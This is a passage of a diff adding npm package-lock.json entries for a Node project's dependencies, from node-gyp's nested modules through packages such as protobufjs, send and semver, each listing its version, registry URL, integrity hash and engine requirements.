"exponential-backoff": "^3.1.1", + "graceful-fs": "^4.2.6", + "nopt": "^9.0.0", + "proc-log": "^6.0.0", + "semver": "^7.3.5", + "tar": "^7.5.4", + "tinyglobby": "^0.2.12", + "undici": "^6.25.0", + "which": "^6.0.0" + }, + "bin": { + "node-gyp": "bin/node-gyp.js" + }, + "engines": { + "node": "^20.17.0 || >=22.9.0" + } + }, + "node_modules/node-gyp/node_modules/env-paths": { + "version": "2.2.1", + "resolved": "https://registry.npmjs.org/env-paths/-/env-paths-2.2.1.tgz", + "integrity": "sha512-+h1lkLKhZMTYjog1VEpJNG7NZJWcuc2DDk/qsqSTRRCOXiLjeQ1d1/udrUGhqMxUgAlwKNZ0cf2uqan5GLuS2A==", + "dev": true, + "license": "MIT", + "engines": { + "node": ">=6" + } + }, + "node_modules/node-gyp/node_modules/isexe": { + "version": "4.0.0", + "resolved": "https://registry.npmjs.org/isexe/-/isexe-4.0.0.tgz", + "integrity": "sha512-FFUtZMpoZ8RqHS3XeXEmHWLA4thH+ZxCv2lOiPIn1Xc7CxrqhWzNSDzD+/chS/zbYezmiwWLdQC09JdQKmthOw==", + "dev": true, + "license": "BlueOak-1.0.0", + "engines": { + "node": ">=20" + } + }, + "node_modules/node-gyp/node_modules/undici": { + "version": "6.29.0", + "resolved": "https://registry.npmjs.org/undici/-/undici-6.29.0.tgz", + "integrity": "sha512-R+RODBqp6i2pPflGdq+xIOUkl+RNfGgHwoinecKu/JCuf2uO06cOKoDbI2P7Dn6KcswdKwrczbU6IYJ6K8X+wg==", + "dev": true, + "license": "MIT", + "engines": { + "node": ">=18.17" + } + }, + "node_modules/node-gyp/node_modules/which": { + "version": "6.0.1", + "resolved": "https://registry.npmjs.org/which/-/which-6.0.1.tgz", + "integrity": "sha512-oGLe46MIrCRqX7ytPUf66EAYvdeMIZYn3WaocqqKZAxrBpkqHfL/qvTyJ/bTk5+AqHCjXmrv3CEWgy368zhRUg==", + "dev": true, + "license": "ISC", + "dependencies": { + "isexe": "^4.0.0" + }, + "bin": { + "node-which": "bin/which.js" + }, + "engines": { + "node": "^20.17.0 || >=22.9.0" + } + }, + "node_modules/node-int64": { + "version": "0.4.0", + "resolved": "https://registry.npmjs.org/node-int64/-/node-int64-0.4.0.tgz", + "integrity": "sha512-O5lz91xSOeoXP6DulyHfllpq+Eg00MWitZIbtPfoSEvqIHdl5gfcY6hYzDWnj0qD5tz52PI08u9qUvSVeUBeHw==", + "dev": true, + "license": "MIT" + }, + "node_modules/nopt": { + "version": "9.0.0", + "resolved": "https://registry.npmjs.org/nopt/-/nopt-9.0.0.tgz", + "integrity": "sha512-Zhq3a+yFKrYwSBluL4H9XP3m3y5uvQkB/09CwDruCiRmR/UJYnn9W4R48ry0uGC70aeTPKLynBtscP9efFFcPw==", + "dev": true, + "license": "ISC", + "dependencies": { + "abbrev": "^4.0.0" + }, + "bin": { + "nopt": "bin/nopt.js" + }, + "engines": { + "node": "^20.17.0 || >=22.9.0" + } + }, + "node_modules/normalize-url": { + "version": "6.1.0", + "resolved": "https://registry.npmjs.org/normalize-url/-/normalize-url-6.1.0.tgz", + "integrity": "sha512-DlL+XwOy3NxAQ8xuC0okPgK46iuVNAK01YN7RueYBqqFeGsBjV9XmCAzAdgt+667bCl5kPh9EqKKDwnaPG1I7A==", + "dev": true, + "license": "MIT", + "engines": { + "node": ">=10" + }, + "funding": { + "url": "https://github.com/sponsors/sindresorhus" + } + }, + "node_modules/object-inspect": { + "version": "1.13.4", + "resolved": "https://registry.npmjs.org/object-inspect/-/object-inspect-1.13.4.tgz", + "integrity": "sha512-W67iLl4J2EXEGTbfeHCffrjDfitvLANg0UlX3wFUUSTx92KXRFegMHUVgSqE+wvhAbi4WqjGg9czysTV2Epbew==", + "license": "MIT", + "engines": { + "node": ">= 0.4" + }, + "funding": { + "url": "https://github.com/sponsors/ljharb" + } + }, + "node_modules/object-keys": { + "version": "1.1.1", + "resolved": "https://registry.npmjs.org/object-keys/-/object-keys-1.1.1.tgz", + "integrity": "sha512-NuAESUOUMrlIXOfHKzD6bpPu3tYt3xvjNdRIQ+FeT0lNb4K8WR70CaDxhuNguS2XG+GjkyMwOzsN5ZktImfhLA==", + "dev": true, + "license": "MIT", + "optional": true, + "engines": { + "node": ">= 0.4" + } + }, + "node_modules/on-finished": { + "version": "2.4.1", + "resolved": "https://registry.npmjs.org/on-finished/-/on-finished-2.4.1.tgz", + "integrity": "sha512-oVlzkg3ENAhCk2zdv7IJwd/QUD4z2RxRwpkcGY8psCVcCYZNq4wYnVWALHM+brtuJjePWiYF/ClmuDr8Ch5+kg==", + "license": "MIT", + "dependencies": { + "ee-first": "1.1.1" + }, + "engines": { + "node": ">= 0.8" + } + }, + "node_modules/once": { + "version": "1.4.0", + "resolved": "https://registry.npmjs.org/once/-/once-1.4.0.tgz", + "integrity": "sha512-lNaJgI+2Q5URQBkccEKHTQOPaXdUxnZZElQTZY0MFUAuaEqe1E+Nyvgdz/aIyNi6Z9MzO5dv1H8n58/GELp3+w==", + "license": "ISC", + "dependencies": { + "wrappy": "1" + } + }, + "node_modules/p-cancelable": { + "version": "2.1.1", + "resolved": "https://registry.npmjs.org/p-cancelable/-/p-cancelable-2.1.1.tgz", + "integrity": "sha512-BZOr3nRQHOntUjTrH8+Lh54smKHoHyur8We1V8DSMVrl5A2malOOwuJRnKRDjSnkoeBh4at6BwEnb5I7Jl31wg==", + "dev": true, + "license": "MIT", + "engines": { + "node": ">=8" + } + }, + "node_modules/p-limit": { + "version": "3.1.0", + "resolved": "https://registry.npmjs.org/p-limit/-/p-limit-3.1.0.tgz", + "integrity": "sha512-TYOanM3wGwNGsZN2cVTYPArw454xnXj5qmWF1bEoAc4+cU/ol7GVh7odevjp1FNHduHc3KZMcFduxU5Xc6uJRQ==", + "dev": true, + "license": "MIT", + "dependencies": { + "yocto-queue": "^0.1.0" + }, + "engines": { + "node": ">=10" + }, + "funding": { + "url": "https://github.com/sponsors/sindresorhus" + } + }, + "node_modules/parseurl": { + "version": "1.3.3", + "resolved": "https://registry.npmjs.org/parseurl/-/parseurl-1.3.3.tgz", + "integrity": "sha512-CiyeOxFT/JZyN5m0z9PfXw4SCBJ6Sygz1Dpl0wqjlhDEGGBP1GnsUVEL0p63hoG1fcj3fHynXi9NYO4nWOL+qQ==", + "license": "MIT", + "engines": { + "node": ">= 0.8" + } + }, + "node_modules/path-is-absolute": { + "version": "1.0.1", + "resolved": "https://registry.npmjs.org/path-is-absolute/-/path-is-absolute-1.0.1.tgz", + "integrity": "sha512-AVbw3UJ2e9bq64vSaS9Am0fje1Pa8pbGqTTsmXfaIiMpnr5DlDhfJOuLj9Sf95ZPVDAUerDfEk88MPmPe7UCQg==", + "dev": true, + "license": "MIT", + "engines": { + "node": ">=0.10.0" + } + }, + "node_modules/path-key": { + "version": "3.1.1", + "resolved": "https://registry.npmjs.org/path-key/-/path-key-3.1.1.tgz", + "integrity": "sha512-ojmeN0qd+y0jszEtoY48r0Peq5dwMEkIlCOu6Q5f41lfkswXuKtYrhgoTpLnyIcHm24Uhqx+5Tqm2InSwLhE6Q==", + "dev": true, + "license": "MIT", + "engines": { + "node": ">=8" + } + }, + "node_modules/path-to-regexp": { + "version": "8.4.2", + "resolved": "https://registry.npmjs.org/path-to-regexp/-/path-to-regexp-8.4.2.tgz", + "integrity": "sha512-qRcuIdP69NPm4qbACK+aDogI5CBDMi1jKe0ry5rSQJz8JVLsC7jV8XpiJjGRLLol3N+R5ihGYcrPLTno6pAdBA==", + "license": "MIT", + "funding": { + "type": "opencollective", + "url": "https://opencollective.com/express" + } + }, + "node_modules/pe-library": { + "version": "0.4.1", + "resolved": "https://registry.npmjs.org/pe-library/-/pe-library-0.4.1.tgz", + "integrity": "sha512-eRWB5LBz7PpDu4PUlwT0PhnQfTQJlDDdPa35urV4Osrm0t0AqQFGn+UIkU3klZvwJ8KPO3VbBFsXquA6p6kqZw==", + "dev": true, + "license": "MIT", + "engines": { + "node": ">=12", + "npm": ">=6" + }, + "funding": { + "type": "github", + "url": "https://github.com/sponsors/jet2jet" + } + }, + "node_modules/picocolors": { + "version": "1.1.1", + "resolved": "https://registry.npmjs.org/picocolors/-/picocolors-1.1.1.tgz", + "integrity": "sha512-xceH2snhtb5M9liqDsmEw56le376mTZkEX/jEb/RxNFyegNul7eNslCXP9FDj/Lcu0X8KEyMceP2ntpaHrDEVA==", + "dev": true, + "license": "ISC" + }, + "node_modules/picomatch": { + "version": "4.0.7", + "resolved": "https://registry.npmjs.org/picomatch/-/picomatch-4.0.7.tgz", + "integrity": "sha512-qcJu88Q2IWqJsDD529JKMdwGm/dvInW4HvQnRwiH9JtihJvzGOscDtHE3x1pBKeUOTysQ8kVmLnJ2kJu7yhcGA==", + "dev": true, + "license": "MIT", + "engines": { + "node": ">=12" + }, + "funding": { + "url": "https://github.com/sponsors/jonschlinkert" + } + }, + "node_modules/pkijs": { + "version": "3.4.1", + "resolved": "https://registry.npmjs.org/pkijs/-/pkijs-3.4.1.tgz", + "integrity": "sha512-Oo/NZcSWccq8KyoG7gLE9fnltgHns+pNCjCAp/WmjsUySi+sX7y4z4Xqu4fVb42CDHzRPl33fjzT15V1wvcyhA==", + "dev": true, + "license": "BSD-3-Clause", + "workspaces": [ + "website" + ], + "dependencies": { + "@noble/hashes": "1.8.0", + "asn1js": "^3.0.6", + "bytestreamjs": "^2.0.1", + "pvtsutils": "^1.3.6", + "pvutils": "^1.1.3", + "tslib": "^2.8.1" + }, + "engines": { + "node": ">=16.0.0" + } + }, + "node_modules/pkijs/node_modules/@noble/hashes": { + "version": "1.8.0", + "resolved": "https://registry.npmjs.org/@noble/hashes/-/hashes-1.8.0.tgz", + "integrity": "sha512-jCs9ldd7NwzpgXDIf6P3+NrHh9/sD6CQdxHyjQI+h/6rDNo88ypBxxz45UDuZHz9r3tNz7N/VInSVoVdtXEI4A==", + "dev": true, + "license": "MIT", + "engines": { + "node": "^14.21.3 || >=16" + }, + "funding": { + "url": "https://paulmillr.com/funding/" + } + }, + "node_modules/plist": { + "version": "3.1.0", + "resolved": "https://registry.npmjs.org/plist/-/plist-3.1.0.tgz", + "integrity": "sha512-uysumyrvkUX0rX/dEVqt8gC3sTBzd4zoWfLeS29nb53imdaXVvLINYXTI2GNqzaMuvacNx4uJQ8+b3zXR0pkgQ==", + "dev": true, + "license": "MIT", + "dependencies": { + "@xmldom/xmldom": "^0.8.8", + "base64-js": "^1.5.1", + "xmlbuilder": "^15.1.1" + }, + "engines": { + "node": ">=10.4.0" + } + }, + "node_modules/pngjs": { + "version": "7.0.0", + "resolved": "https://registry.npmjs.org/pngjs/-/pngjs-7.0.0.tgz", + "integrity": "sha512-LKWqWJRhstyYo9pGvgor/ivk2w94eSjE3RGVuzLGlr3NmD8bf7RcYGze1mNdEHRP6TRP6rMuDHk5t44hnTRyow==", + "license": "MIT", + "engines": { + "node": ">=14.19.0" + } + }, + "node_modules/postject": { + "version": "1.0.0-alpha.6", + "resolved": "https://registry.npmjs.org/postject/-/postject-1.0.0-alpha.6.tgz", + "integrity": "sha512-b9Eb8h2eVqNE8edvKdwqkrY6O7kAwmI8kcnBv1NScolYJbo59XUF0noFq+lxbC1yN20bmC0WBEbDC5H/7ASb0A==", + "dev": true, + "license": "MIT", + "optional": true, + "peer": true, + "dependencies": { + "commander": "^9.4.0" + }, + "bin": { + "postject": "dist/cli.js" + }, + "engines": { + "node": ">=14.0.0" + } + }, + "node_modules/postject/node_modules/commander": { + "version": "9.5.0", + "resolved": "https://registry.npmjs.org/commander/-/commander-9.5.0.tgz", + "integrity": "sha512-KRs7WVDKg86PWiuAqhDrAQnTXZKraVcCc6vFdL14qrZ/DcWwuRo7VoiYXalXO7S5GKpqYiVEwCbgFDfxNHKJBQ==", + "dev": true, + "license": "MIT", + "optional": true, + "peer": true, + "engines": { + "node": "^12.20.0 || >=14" + } + }, + "node_modules/proc-log": { + "version": "6.1.0", + "resolved": "https://registry.npmjs.org/proc-log/-/proc-log-6.1.0.tgz", + "integrity": "sha512-iG+GYldRf2BQ0UDUAd6JQ/RwzaQy6mXmsk/IzlYyal4A4SNFw54MeH4/tLkF4I5WoWG9SQwuqWzS99jaFQHBuQ==", + "dev": true, + "license": "ISC", + "engines": { + "node": "^20.17.0 || >=22.9.0" + } + }, + "node_modules/process-nextick-args": { + "version": "2.0.1", + "resolved": "https://registry.npmjs.org/process-nextick-args/-/process-nextick-args-2.0.1.tgz", + "integrity": "sha512-3ouUOpQhtgrbOa17J7+uxOTpITYWaGP7/AhoR3+A+/1e9skrzelGi/dXzEYyvbxubEF6Wn2ypscTKiKJFFn1ag==", + "dev": true, + "license": "MIT" + }, + "node_modules/progress": { + "version": "2.0.3", + "resolved": "https://registry.npmjs.org/progress/-/progress-2.0.3.tgz", + "integrity": "sha512-7PiHtLll5LdnKIMw100I+8xJXR5gW2QwWYkT6iJva0bXitZKa/XMrSbdmg3r2Xnaidz9Qumd0VPaMrZlF9V9sA==", + "dev": true, + "license": "MIT", + "engines": { + "node": ">=0.4.0" + } + }, + "node_modules/promise-retry": { + "version": "2.0.1", + "resolved": "https://registry.npmjs.org/promise-retry/-/promise-retry-2.0.1.tgz", + "integrity": "sha512-y+WKFlBR8BGXnsNlIHFGPZmyDf3DFMoLhaflAnyZgV6rG6xu+JwesTo2Q9R6XwYmtmwAFCkAk3e35jEdoeh/3g==", + "dev": true, + "license": "MIT", + "dependencies": { + "err-code": "^2.0.2", + "retry": "^0.12.0" + }, + "engines": { + "node": ">=10" + } + }, + "node_modules/proper-lockfile": { + "version": "4.1.2", + "resolved": "https://registry.npmjs.org/proper-lockfile/-/proper-lockfile-4.1.2.tgz", + "integrity": "sha512-TjNPblN4BwAWMXU8s9AEz4JmQxnD1NNL7bNOY/AKUzyamc379FWASUhc/K1pL2noVb+XmZKLL68cjzLsiOAMaA==", + "dev": true, + "license": "MIT", + "dependencies": { + "graceful-fs": "^4.2.4", + "retry": "^0.12.0", + "signal-exit": "^3.0.2" + } + }, + "node_modules/protobufjs": { + "version": "7.6.6", + "resolved": "https://registry.npmjs.org/protobufjs/-/protobufjs-7.6.6.tgz", + "integrity": "sha512-dYDWdjSl5RNb7SgPxGQcRU+GtvP7s2fpkrY0r432PcOIaZ0/rBcxEZnQN67iJhFuQiVw754JDoPruPCNdGsbjg==", + "hasInstallScript": true, + "license": "BSD-3-Clause", + "dependencies": { + "@protobufjs/aspromise": "^1.1.2", + "@protobufjs/base64": "^1.1.2", + "@protobufjs/codegen": "^2.0.5", + "@protobufjs/eventemitter": "^1.1.1", + "@protobufjs/fetch": "^1.1.1", + "@protobufjs/float": "^1.0.2", + "@protobufjs/path": "^1.1.2", + "@protobufjs/pool": "^1.1.0", + "@protobufjs/utf8": "^1.1.1", + "@types/node": ">=13.7.0", + "long": "^5.3.2" + }, + "engines": { + "node": ">=12.0.0" + } + }, + "node_modules/proxy-addr": { + "version": "2.0.8", + "resolved": "https://registry.npmjs.org/proxy-addr/-/proxy-addr-2.0.8.tgz", + "integrity": "sha512-5nnx0yGyVUcY6t9RnWcARWtwT9F1D8O9rt08htPvnd49W1IgZtmLkhu9WfMzQj1cFxjHIO6connUNVW5k7AVyQ==", + "license": "MIT", + "dependencies": { + "forwarded": "0.2.0", + "ipaddr.js": "1.9.1" + }, + "engines": { + "node": ">= 0.10" + }, + "funding": { + "type": "opencollective", + "url": "https://opencollective.com/express" + } + }, + "node_modules/pump": { + "version": "3.0.4", + "resolved": "https://registry.npmjs.org/pump/-/pump-3.0.4.tgz", + "integrity": "sha512-VS7sjc6KR7e1ukRFhQSY5LM2uBWAUPiOPa/A3mkKmiMwSmRFUITt0xuj+/lesgnCv+dPIEYlkzrcyXgquIHMcA==", + "dev": true, + "license": "MIT", + "dependencies": { + "end-of-stream": "^1.1.0", + "once": "^1.3.1" + } + }, + "node_modules/pvtsutils": { + "version": "1.3.6", + "resolved": "https://registry.npmjs.org/pvtsutils/-/pvtsutils-1.3.6.tgz", + "integrity": "sha512-PLgQXQ6H2FWCaeRak8vvk1GW462lMxB5s3Jm673N82zI4vqtVUPuZdffdZbPDFRoU8kAhItWFtPCWiPpp4/EDg==", + "dev": true, + "license": "MIT", + "dependencies": { + "tslib": "^2.8.1" + } + }, + "node_modules/pvutils": { + "version": "1.2.0", + "resolved": "https://registry.npmjs.org/pvutils/-/pvutils-1.2.0.tgz", + "integrity": "sha512-BbubeCEyTuQjVMakvJQ/Sxbc93F2pwmbsxONT/ZRrwU7Ua38d8unYTwXpTVLAKJ4BDuH9IGztCjQcd/N/39Dvg==", + "dev": true, + "license": "MIT", + "engines": { + "node": ">=16.0.0" + } + }, + "node_modules/qs": { + "version": "6.16.0", + "resolved": "https://registry.npmjs.org/qs/-/qs-6.16.0.tgz", + "integrity": "sha512-h6fhOIaRrID2CbEY2fqs+7t+UXZo+MLAnU5gRIq85uFtdiUPCdsApMlHhXogKVM4HM2DVbIjGNTTYH2OcmP1vA==", + "license": "BSD-3-Clause", + "dependencies": { + "es-define-property": "^1.0.1", + "side-channel": "^1.1.1" + }, + "engines": { + "node": ">=0.6" + }, + "funding": { + "url": "https://github.com/sponsors/ljharb" + } + }, + "node_modules/quick-lru": { + "version": "5.1.1", + "resolved": "https://registry.npmjs.org/quick-lru/-/quick-lru-5.1.1.tgz", + "integrity": "sha512-WuyALRjWPDGtt/wzJiadO5AXY+8hZ80hVpe6MyivgraREW751X3SbhRvG3eLKOYN+8VEvqLcf3wdnt44Z4S4SA==", + "dev": true, + "license": "MIT", + "engines": { + "node": ">=10" + }, + "funding": { + "url": "https://github.com/sponsors/sindresorhus" + } + }, + "node_modules/range-parser": { + "version": "1.3.0", + "resolved": "https://registry.npmjs.org/range-parser/-/range-parser-1.3.0.tgz", + "integrity": "sha512-hek2mFQpPuI4E1BBKrSto+BU3e3x4xuarsbiwr3+lf7p44juvFMV0XFWQAP3xUyqXA4RrXLIoaSUGbSt056ZMw==", + "license": "MIT", + "engines": { + "node": ">= 0.6" + }, + "funding": { + "type": "opencollective", + "url": "https://opencollective.com/express" + } + }, + "node_modules/raw-body": { + "version": "3.0.2", + "resolved": "https://registry.npmjs.org/raw-body/-/raw-body-3.0.2.tgz", + "integrity": "sha512-K5zQjDllxWkf7Z5xJdV0/B0WTNqx6vxG70zJE4N0kBs4LovmEYWJzQGxC9bS9RAKu3bgM40lrd5zoLJ12MQ5BA==", + "license": "MIT", + "dependencies": { + "bytes": "~3.1.2", + "http-errors": "~2.0.1", + "iconv-lite": "~0.7.0", + "unpipe": "~1.0.0" + }, + "engines": { + "node": ">= 0.10" + } + }, + "node_modules/read-binary-file-arch": { + "version": "1.0.6", + "resolved": "https://registry.npmjs.org/read-binary-file-arch/-/read-binary-file-arch-1.0.6.tgz", + "integrity": "sha512-BNg9EN3DD3GsDXX7Aa8O4p92sryjkmzYYgmgTAc6CA4uGLEDzFfxOxugu21akOxpcXHiEgsYkC6nPsQvLLLmEg==", + "dev": true, + "license": "MIT", + "dependencies": { + "debug": "^4.3.4" + }, + "bin": { + "read-binary-file-arch": "cli.js" + } + }, + "node_modules/readable-stream": { + "version": "2.3.8", + "resolved": "https://registry.npmjs.org/readable-stream/-/readable-stream-2.3.8.tgz", + "integrity": "sha512-8p0AUk4XODgIewSi0l8Epjs+EVnWiK7NoDIEGU0HhE7+ZyY8D1IMY7odu5lRrFXGg71L15KG8QrPmum45RTtdA==", + "dev": true, + "license": "MIT", + "dependencies": { + "core-util-is": "~1.0.0", + "inherits": "~2.0.3", + "isarray": "~1.0.0", + "process-nextick-args": "~2.0.0", + "safe-buffer": "~5.1.1", + "string_decoder": "~1.1.1", + "util-deprecate": "~1.0.1" + } + }, + "node_modules/require-directory": { + "version": "2.1.1", + "resolved": "https://registry.npmjs.org/require-directory/-/require-directory-2.1.1.tgz", + "integrity": "sha512-fGxEI7+wsG9xrvdjsrlmL22OMTTiHRwAMroiEeMgq8gzoLC/PQr7RsRDSTLUg/bZAZtF+TVIkHc6/4RIKrui+Q==", + "license": "MIT", + "engines": { + "node": ">=0.10.0" + } + }, + "node_modules/require-from-string": { + "version": "2.0.2", + "resolved": "https://registry.npmjs.org/require-from-string/-/require-from-string-2.0.2.tgz", + "integrity": "sha512-Xf0nWe6RseziFMu+Ap9biiUbmplq6S9/p+7w7YXP/JBHhrUDDUhwa+vANyubuqfZWTveU//DYVGsDG7RKL/vEw==", + "dev": true, + "license": "MIT", + "engines": { + "node": ">=0.10.0" + } + }, + "node_modules/require-in-the-middle": { + "version": "8.0.1", + "resolved": "https://registry.npmjs.org/require-in-the-middle/-/require-in-the-middle-8.0.1.tgz", + "integrity": "sha512-QT7FVMXfWOYFbeRBF6nu+I6tr2Tf3u0q8RIEjNob/heKY/nh7drD/k7eeMFmSQgnTtCzLDcCu/XEnpW2wk4xCQ==", + "license": "MIT", + "dependencies": { + "debug": "^4.3.5", + "module-details-from-path": "^1.0.3" + }, + "engines": { + "node": ">=9.3.0 || >=8.10.0 <9.0.0" + } + }, + "node_modules/resedit": { + "version": "1.7.2", + "resolved": "https://registry.npmjs.org/resedit/-/resedit-1.7.2.tgz", + "integrity": "sha512-vHjcY2MlAITJhC0eRD/Vv8Vlgmu9Sd3LX9zZvtGzU5ZImdTN3+d6e/4mnTyV8vEbyf1sgNIrWxhWlrys52OkEA==", + "dev": true, + "license": "MIT", + "dependencies": { + "pe-library": "^0.4.1" + }, + "engines": { + "node": ">=12", + "npm": ">=6" + }, + "funding": { + "type": "github", + "url": "https://github.com/sponsors/jet2jet" + } + }, + "node_modules/resolve-alpn": { + "version": "1.2.1", + "resolved": "https://registry.npmjs.org/resolve-alpn/-/resolve-alpn-1.2.1.tgz", + "integrity": "sha512-0a1F4l73/ZFZOakJnQ3FvkJ2+gSTQWz/r2KE5OdDY0TxPm5h4GkqkWWfM47T7HsbnOtcJVEF4epCVy6u7Q3K+g==", + "dev": true, + "license": "MIT" + }, + "node_modules/responselike": { + "version": "2.0.1", + "resolved": "https://registry.npmjs.org/responselike/-/responselike-2.0.1.tgz", + "integrity": "sha512-4gl03wn3hj1HP3yzgdI7d3lCkF95F21Pz4BPGvKHinyQzALR5CapwC8yIi0Rh58DEMQ/SguC03wFj2k0M/mHhw==", + "dev": true, + "license": "MIT", + "dependencies": { + "lowercase-keys": "^2.0.0" + }, + "funding": { + "url": "https://github.com/sponsors/sindresorhus" + } + }, + "node_modules/retry": { + "version": "0.12.0", + "resolved": "https://registry.npmjs.org/retry/-/retry-0.12.0.tgz", + "integrity": "sha512-9LkiTwjUh6rT555DtE9rTX+BKByPfrMzEAtnlEtdEwr3Nkffwiihqe2bWADg+OQRjt9gl6ICdmB/ZFDCGAtSow==", + "dev": true, + "license": "MIT", + "engines": { + "node": ">= 4" + } + }, + "node_modules/rimraf": { + "version": "2.6.3", + "resolved": "https://registry.npmjs.org/rimraf/-/rimraf-2.6.3.tgz", + "integrity": "sha512-mwqeW5XsA2qAejG46gYdENaxXjx9onRNCfn7L0duuP4hCuTIi/QO7PDK07KJfp1d+izWPrzEJDcSqBa0OZQriA==", + "deprecated": "Rimraf versions prior to v4 are no longer supported", + "dev": true, + "license": "ISC", + "peer": true, + "dependencies": { + "glob": "^7.1.3" + }, + "bin": { + "rimraf": "bin.js" + } + }, + "node_modules/roarr": { + "version": "2.15.4", + "resolved": "https://registry.npmjs.org/roarr/-/roarr-2.15.4.tgz", + "integrity": "sha512-CHhPh+UNHD2GTXNYhPWLnU8ONHdI+5DI+4EYIAOaiD63rHeYlZvyh8P+in5999TTSFgUYuKUAjzRI4mdh/p+2A==", + "dev": true, + "license": "BSD-3-Clause", + "optional": true, + "dependencies": { + "boolean": "^3.0.1", + "detect-node": "^2.0.4", + "globalthis": "^1.0.1", + "json-stringify-safe": "^5.0.1", + "semver-compare": "^1.0.0", + "sprintf-js": "^1.1.2" + }, + "engines": { + "node": ">=8.0" + } + }, + "node_modules/router": { + "version": "2.2.0", + "resolved": "https://registry.npmjs.org/router/-/router-2.2.0.tgz", + "integrity": "sha512-nLTrUKm2UyiL7rlhapu/Zl45FwNgkZGaCpZbIHajDYgwlJCOzLSk+cIPAnsEqV955GjILJnKbdQC1nVPz+gAYQ==", + "license": "MIT", + "dependencies": { + "debug": "^4.4.0", + "depd": "^2.0.0", + "is-promise": "^4.0.0", + "parseurl": "^1.3.3", + "path-to-regexp": "^8.0.0" + }, + "engines": { + "node": ">= 18" + } + }, + "node_modules/safe-buffer": { + "version": "5.1.2", + "resolved": "https://registry.npmjs.org/safe-buffer/-/safe-buffer-5.1.2.tgz", + "integrity": "sha512-Gd2UZBJDkXlY7GbJxfsE8/nvKkUEU1G38c1siN6QP6a9PT9MmHB8GnpscSmMJSoF8LOIrt8ud/wPtojys4G6+g==", + "dev": true, + "license": "MIT" + }, + "node_modules/safer-buffer": { + "version": "2.1.2", + "resolved": "https://registry.npmjs.org/safer-buffer/-/safer-buffer-2.1.2.tgz", + "integrity": "sha512-YZo3K82SD7Riyi0E1EQPojLz7kpepnSQI9IyPbHHg1XXXevb5dJI7tpyN2ADxGcQbHG7vcyRHk0cbwqcQriUtg==", + "license": "MIT" + }, + "node_modules/sanitize-filename": { + "version": "1.6.4", + "resolved": "https://registry.npmjs.org/sanitize-filename/-/sanitize-filename-1.6.4.tgz", + "integrity": "sha512-9ZyI08PsvdQl2r/bBIGubpVdR3RR9sY6RDiWFPreA21C/EFlQhmgo20UZlNjZMMZNubusLhAQozkA0Od5J21Eg==", + "dev": true, + "license": "WTFPL OR ISC", + "dependencies": { + "truncate-utf8-bytes": "^1.0.0" + } + }, + "node_modules/sax": { + "version": "1.6.1", + "resolved": "https://registry.npmjs.org/sax/-/sax-1.6.1.tgz", + "integrity": "sha512-42tBVwLWnaQvW5zc4HbZrTuWccECCZfBi92FDuwtqxasH+JbPB3/FOKb1m222K42R4WxuxzzMsTswfzgtSu64Q==", + "dev": true, + "license": "BlueOak-1.0.0", + "engines": { + "node": ">=11.0.0" + } + }, + "node_modules/semver": { + "version": "7.8.5", + "resolved": "https://registry.npmjs.org/semver/-/semver-7.8.5.tgz", + "integrity": "sha512-Y7/KDsb8LjooZpwaqGyulO6DQlksgCncchHGk+sZIY4SBvUocMBEFH5Ur1fI4dV+Jvl0w6cjvucaIi40puRioA==", + "dev": true, + "license": "ISC", + "bin": { + "semver": "bin/semver.js" + }, + "engines": { + "node": ">=10" + } + }, + "node_modules/semver-compare": { + "version": "1.0.0", + "resolved": "https://registry.npmjs.org/semver-compare/-/semver-compare-1.0.0.tgz", + "integrity": "sha512-YM3/ITh2MJ5MtzaM429anh+x2jiLVjqILF4m4oyQB18W7Ggea7BfqdH/wGMK7dDiMghv/6WG7znWMwUDzJiXow==", + "dev": true, + "license": "MIT", + "optional": true + }, + "node_modules/send": { + "version": "1.2.1", + "resolved": "https://registry.npmjs.org/send/-/send-1.2.1.tgz", + "integrity": "sha512-1gnZf7DFcoIcajTjTwjwuDjzuz4PPcY2StKPlsGAQ1+YH20IRVrBaXSWmdjowTJ6u8Rc01PoYOGHXfP1mYcZNQ==", + "license": "MIT", + "dependencies": { + "debug": "^4.4.3", + "encodeurl": "^2.0.0", + "escape-html": "^1.0.3", + "etag": "^1.8.1", + "fresh": "^2.0.0", + "http-errors": "^2.0.1", + "mime-types": "^3.0.2", + "ms": "^2.1.3", + "on-finished": "^2.4.1", + "range-parser": "^1.2.1", + "statuses": "^2.0.2" + }, + "engines": { + "node": ">= 18" + }, + "funding": { + "type": "opencollective", + "url": "https://opencollective.com/express" + } + }, + "node_modules/serialize-error": { + "version": "7.0.1", + "resolved": "https://registry.npmjs.org/serialize-error/-/serialize-error-7.0.1.tgz", + "integrity": "sha512-8I8TjW5KMOKsZQTvoxjuSIa7foAwPWGOts+6o7sgjz41/qMD9VQHEDxi6PBvK2l0MXUmqZyNpUK+T2tQaaElvw==", + "dev": true, + "license": "MIT", + "optional": true, + "dependencies": { + "type-fest": "^0.13.1" + }, + "engines": { + "node": ">=10" + }, + "funding": { + "url": "https://github.com/sponsors/sindresorhus" + } + }, + "node_modules/serve-static": { + "version": "2.2.1", + "resolved": "https://registry.npmjs.org/serve-static/-/serve-static-2.2.1.tgz", + "integrity": "sha512-xRXBn0pPqQTVQiC8wyQrKs2MOlX24zQ0POGaj0kultvoOCstBQM5yvOhAVSUwOMjQtTvsPWoNCHfPGwaaQJhTw==", + "license": "MIT", + "dependencies": { + "encodeurl": "^2.0.0", + "escape-html": "^1.0.3", + "parseurl": "^1.3.3", + "send": "^1.2.0" + }, + "engines": { + "node": ">= 18" + }, + "funding": { + "type": "opencollective", + "url": "https://opencollective.com/express" + } + }, + "node_modules/setprototypeof": { + "version": "1.2.0", + "resolved": "https://registry.npmjs.org/setprototypeof/-/setprototypeof-1.2.0.tgz", + "integrity": "sha512-E5LDX7Wrp85Kil5bhZv46j8jOeboKq5JMmYM3gVGdGH8xFpPWXUMsNrlODCrkoxMEeNi/XZIwuRvY4XNwYMJpw==", + "license": "ISC" + }, + "node_modules/shebang-command": { + "version": "2.0.0", + "resolved": "https://registry.npmjs.org/shebang-command/-/shebang-command-2.0.0.tgz", + "integrity": "sha512-kHxr2zZpYtdmrN1qDjrrX/Z1rR1kG8Dx+gkpK1G4eXmvXswmcE1hTWBWYUzlraYw1/yZp6YuDY77YtvbN0dmDA==", + "dev": true, + "license": "MIT", + "dependencies": { + "shebang-regex": "^3.0.0" + }, + "engines": { + "node": ">=8" + } + }, + "node_modules/shebang-regex": { + "version": "3.0.0", + "resolved": "https://registry.npmjs.org/shebang-regex/-/shebang-regex-3.0.0.tgz", + "integrity": 